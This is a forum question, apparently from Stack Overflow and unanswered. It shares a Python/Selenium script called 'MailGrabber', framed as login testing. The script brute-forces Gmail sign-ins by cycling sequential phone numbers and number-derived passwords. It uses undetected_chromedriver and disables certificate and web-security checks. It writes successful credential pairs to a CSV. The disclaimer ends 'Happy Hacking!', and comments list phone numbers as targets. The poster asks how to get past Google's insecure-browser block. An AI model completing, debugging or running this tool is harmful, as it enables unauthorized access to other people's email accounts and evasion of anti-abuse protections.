0

I'm trying to automate testing of email login using Python and Selenium. Specifically, I want to test different email addresses and passwords to see if they work. However, I'm running into an issue where the browser shows "not secure" when I try to sign in to Gmail.

Here's the code I'm using:

from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from time import sleep
import pandas as pd
from datetime import date, datetime
from undetected_chromedriver import Chrome, ChromeOptions


class MailGrabber(Chrome):
    def __init__(self, driver="C:\\chromedriver_win32\\chromedriver.exe", teardown=False):
        chrome_options = ChromeOptions()
        chrome_options.add_argument("--disable-web-security")
        chrome_options.add_argument("--ignore-certificate-errors")
        chrome_options.add_argument('--ignore-ssl-errors')
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--allow-running-insecure-content")

        self.driver = driver
        self.teardown = teardown
        super(MailGrabber, self).__init__(options=chrome_options, executable_path=driver)
        self.implicitly_wait(30)

    # def __exit__(self, exc_type, exc_val, exc_tb):
    #     if self.teardown:
    #         self.quit()

    def go_to_gmail(self, url):
        if url is not None:
            self.get(url)
        else:
            return None

    def show_intro(self):
        text = "WELCOME TO MAILGRABBER"
        headline = text.upper().center(80)
        print('\033[32m' + headline + '\033[0m')

    def instructions(self):
        text = "DISCLAIMER"
        print(text.upper().center(80))
        print("1. Don't use same number everytime")
        print("2. Don't give a long try! It may causes issue")
        print("3. Happy Hacking!")
        print("")
        print("")

    def solve_captcha(self):
        pass

    def convert_to_dataframe(self, s_arr, f_arr):
        data_frame = pd.DataFrame({
            "Email": s_arr,
            "Password": f_arr
        })
        data_frame.to_csv(f"{datetime.now}.csv", index=False)

    def start_grabbing(self, x_path, number, amount, length_of_password):
        arr = []
        pass_arr = []
        success_email = []
        password_url = "https://accounts.google.com/v3/signin/challenge/pwd?TL=ALbfvL3NQ06cSKbTPLbo" \
                       "-N_E8IBvg6pv5MGySGo7u-msP7SY7thja3BflZNMQP4p&checkConnection=youtube%3A220%3A0&checkedDomains" \
                       "=youtube&cid=2&continue=https%3A%2F%2Fmail.google.com&dsh=S-1727980091%3A1678894620075701" \
                       "&flowEntry=AddSession&flowName=GlifWebSignIn&hl=en&pstMsg=1&service=mail&authuser=0 "

        gmail_url = "https://mail.google.com/mail/u/0/#inbox"

        wait = WebDriverWait(self, 25)
        email = wait.until(EC.element_to_be_clickable((By.XPATH, x_path)))
        sleep(2)
        submit_email = wait.until(EC.element_to_be_clickable((
            By.XPATH, "//span[normalize-space()='Next']"
        )))
        sleep(2)
        email.click()
        i = 1
        k = 1
        while i <= amount:
            i += 1
            number = int(number) + 1
            number_str = "0{}".format(number)
            arr.append(number_str)
            pass_arr.append(str(number)[:length_of_password])
        print("Numbers for bypassing Email => " + str(arr))
        print("Chosen Passwords => " + str(pass_arr))

        while k <= amount:
            k += 1
            for j in arr:
                email.send_keys(j)
                sleep(2)
                submit_email.click()
                print("Tried : " + str(j))
                if self.current_url == password_url:
                    print("One email worked")
                    success_email.append(j)
                    print("Success Email" + str(j))
                    # pass password from here
                    for z in pass_arr:
                        password = wait.until(EC.element_to_be_clickable((
                            By.XPATH, "//input[@name='Passwd']"
                        )))
                        password.click()
                        password.send_keys(z)

                        if self.current_url == gmail_url:
                            self.convert_to_dataframe(arr, pass_arr)
                sleep(5)
                email.clear()
            break
        print("Numbers logs = > ", arr)
        print("Testing all the numbers....")
        print("Tried => ", len(arr), "times")

# for testing numbers
# +18327321445
# +13125860756
# +17322496289
# +19566222852
# +12295853598
# +13127424480


# can target any email from any country

I tried so many options still getting this error: This browser may not be secured.

Sakib ovi
  • 537
  • 3
  • 19

0 Answers0